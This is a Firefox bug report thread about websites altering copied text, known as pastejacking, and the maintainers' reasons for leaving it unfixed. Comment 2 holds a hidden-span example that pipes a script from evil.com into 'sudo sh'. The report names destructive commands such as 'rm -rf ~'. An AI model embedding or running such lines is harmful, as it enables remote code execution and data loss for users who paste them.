1591698 - Websites can change content inside the selection and thus influence what the user ends up copying to the clipboard

Status: RESOLVED INVALID

(Core :: DOM: Events, defect)

Description

[felix-mozilla]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Steps to reproduce:

I went to metro.co.uk, marked some text, used ctrl-v to copy it, then pasted it someplace else.

Actual results:

Instead of the text, I got the text, a newline, and additional text.

In this case it was a Read more: [url] \n Twitter: https://twitter.com/MetroUK | Facebook: https://www.facebook.com/MetroUK/

Expected results:

It should have copied only the text I marked.

Note that this is a horrible security issue. The newlines cause the text to be immediately executed if I pasted it into a command line window. My browser tells the web site whether I'm on Linux or Windows, so the web site can even send "\nformat c: /s\n" on Windows and "\nrm -rf ~\n" on Linux.

Comment 1

[:Gijs (he/him)]

This is expected, and works the same way in other browsers. See e.g. https://moz.com/ugc/copymagicpaste-a-script-and-easytouseguide-to-customize-the-copyevent-on-your-website for details on how this works. You can turn off clipboard events in about:config (dom.event.clipboardevents.enabled) but that may break legit functionality (e.g. copy paste in rich web apps like google sheets or similar).

Even with those events turned off though, with a bit of work you could do exactly the same using just selection events. The metro.co.uk code inserts an off-screen-positioned element with the disclaimer into the selection range, and you could just listen for selectionchange and/or mouse drag and/or keypress events to detect selection changes, and add/remove such an element based on those events.

The right approach if you're worried about these vectors is: never paste things off internet sites you don't trust directly into your terminal.

Comment 2

[Frederik Braun [:freddy]]

This attack is as old as it gets. I don't think it gets better with JS copy/paste. There have been variants that compels the user to copy&paste something they don't intend to:

E.g.:
echo innocent things <span style="display:invisible>$(curl -q evil.com | sudo sh)</span> | sudo tee -a foo.conf

The user will only see echo innocent-things | sudo tee -a /etc/example.conf but with copy&paste they will execute a shell script from evil.com as root

Comment 3

[sven+bugzilla]

I wonder then, why do browsers not regard it their responsibility to mitigate those attack vectors?
I as a user would expect - and rightfully so I would argue - that I can only copy what I can see. In the same way I would expect, that browsers only select, what I DO select with my actual device inputs. I see no sensible reason why a website should be able to dictate what I want to actually select or copy (or am I missing something besides convenience or habit?)
If the website is not okay with me copying or selecting stuff, they could still be able to prevent copying or selecting entirely on their website. But interfering with user interaction, expectations and presentation of action results (i.e. ghost actions) is not what should be the norm and other browsers allowing for that is a really weak and lazy argument to do the same. What about holding up to one's own standards?

Comment 4

[:Gijs (he/him)]

(In reply to sven+bugzilla from comment #3)

I wonder then, why do browsers not regard it their responsibility to mitigate those attack vectors?
I as a user would expect - and rightfully so I would argue - that I can only copy what I can see. In the same way I would expect, that browsers only select, what I DO select with my actual device inputs. I see no sensible reason why a website should be able to dictate what I want to actually select or copy (or am I missing something besides convenience or habit?)

As I suggested in comment #1, because in rich web apps (google sheets being an obvious example) the browser won't always be able to determine what would be the "sensible" thing to copy-paste.

If the website is not okay with me copying or selecting stuff, they could still be able to prevent copying or selecting entirely on their website. But interfering with user interaction, expectations and presentation of action results (i.e. ghost actions) is not what should be the norm and other browsers allowing for that is a really weak and lazy argument to do the same.

It wasn't an argument to do the same, just a sanity check...

What about holding up to one's own standards?

It's not logically possible to prevent this from happening unless we prevent all website event notifications relating to keyboard and mouse actions by the user (as well as selection). If the website gets events when you mousedown/mouseup/click on the website, it also does so when you use the mouse to select text (ditto for keyboard equivalents) and can thus insert the off-screen markup then, even without access to clipboard events.
Even if we stopped all of those events (and that would break pretty much every web application ever), websites could still do this type of thing if they knew what you were going to select and copy/paste (like in the commandline example), by just inserting the off-screen markup in strategic places.

That's not an acceptable trade-off "just" to prevent this type of "attack".

Comment 5

[Snowman25]

Hello,

I have 2 suggestions to mitigate this:

First off: Prevent invisible objects to be pasted into the clipboard. I think the reasoning for this is straightforward and doesn't need any explanation.

Second: Allow or Deny changes to the Clipboard (besides plain-text copy&paste that the user initiated) through a site authorization much like Auto-play, Sending notifications, load pictures, use the camera, open pop-ups, etc...
There already is the infrastructure to have those access rights restricted by website in the Firefox browser. Adding "Changing Clipboard" to it, is just a logical step if Firefox decides to do something about malicious changes to the users clipboard.

On that note, please reopen this bugreport to evaluate these 2 suggestions.

Comment 6

[David F.]

I second the approach to disregard invisible content during copy operations. Obviously there's already an algorithm in Firefox that determines if an element is eligible for user interaction (i. e. pointer clicks) based on visibility; otherwise click-jacking attacks would still be a wide spread issue.

Comment 7

[ewerybody]

There are url-specific settings for "Autoplay"! Which might be annoying but is hardly a security issue!

So in the same way there needs to be warnings/popups that tell you when a website wants to read or write from or to the clipboard!
Plus according settings in the Permissions tab on the left of the URL-bar.

Comment 9

[sven+bugzilla]

I like the idea to at least ask for permission before letting a website's content manipulate the clipboard. You could have the option to remember that choice, so rich apps that legitimately do this can still do their job.

Also I would say, copying content of elements that are not visible to the user should be prevented in any scenario.

Lastly: Is there a way to prevent/defer DOM manipulation on elements in the current selection? Also changing the DOM in an existing selection could make that selection invalid (deselect) which probably already happens anyway in certain cases. That would round things up, although, if the above things would be implemented, you would at least (in theory) see any possibly malicious changes made to the content while selecting.
Because of course, you should still not just paste anything from anywhere into your shell blindly. But let's not just dump all responsibility on the user, right?

Comment 10

[:Gijs (he/him)]

(In reply to David F. from comment #6)

I second the approach to disregard invisible content during copy operations.

This doesn't work, see bug 504748 comment 4. It's also not really required for this new content to be invisible, it's just neater from the site's perspective, but if they created it (visible) right before copying and removed it right after, users probably wouldn't notice and certainly wouldn't be able to do anything about it.

Obviously there's already an algorithm in Firefox that determines if an element is eligible for user interaction (i. e. pointer clicks) based on visibility; otherwise click-jacking attacks would still be a wide spread issue.

click-jacking attacks still are an issue, and e.g. opacity: 0 elements are invisible and will still take clicks. It'd also be possible to hide content into an overflow:hidden container, or use a foreground colour that blends in with the background colour, or...

(In reply to sven+bugzilla from comment #9)

I like the idea to at least ask for permission before letting a website's content manipulate the clipboard. You could have the option to remember that choice, so rich apps that legitimately do this can still do their job.

These websites aren't manipulating the clipboard so permissions wouldn't help. This website happens to use the copy clipboard event, but it doesn't actually need those events to do what it does, as I explained in comment #1 and comment #4 .

Lastly: Is there a way to prevent/defer DOM manipulation on elements in the current selection?

Not without breaking loads of websites (e.g. in text editors, selecting text and then clicking a button to make it into a link / change formatting). Plus it wouldn't make any sense to the user - any content they select becomes impossible for the web page to change? So site functionality would just "randomly" stop working?

If we prompted for permission for manipulating this selection, users would just become frustrated - they "just" want to copy/paste text (or format it or whatever), and being asked for permission is a bigger interruption to their workflow than just removing the text these websites are adding. Plus we'd also have to stop the website changing the selection (rather than changing what is inside it), which would likely also break helpful functionality.

I don't know how much clearer I can say this but: it is not possible to comprehensively fix this without breaking loads of the public web, because of how the DOM and HTML/CSS work.

I'm going to restrict comments because at this point comments are just a repetition of suggestions that have already been made elsewhere and responded to.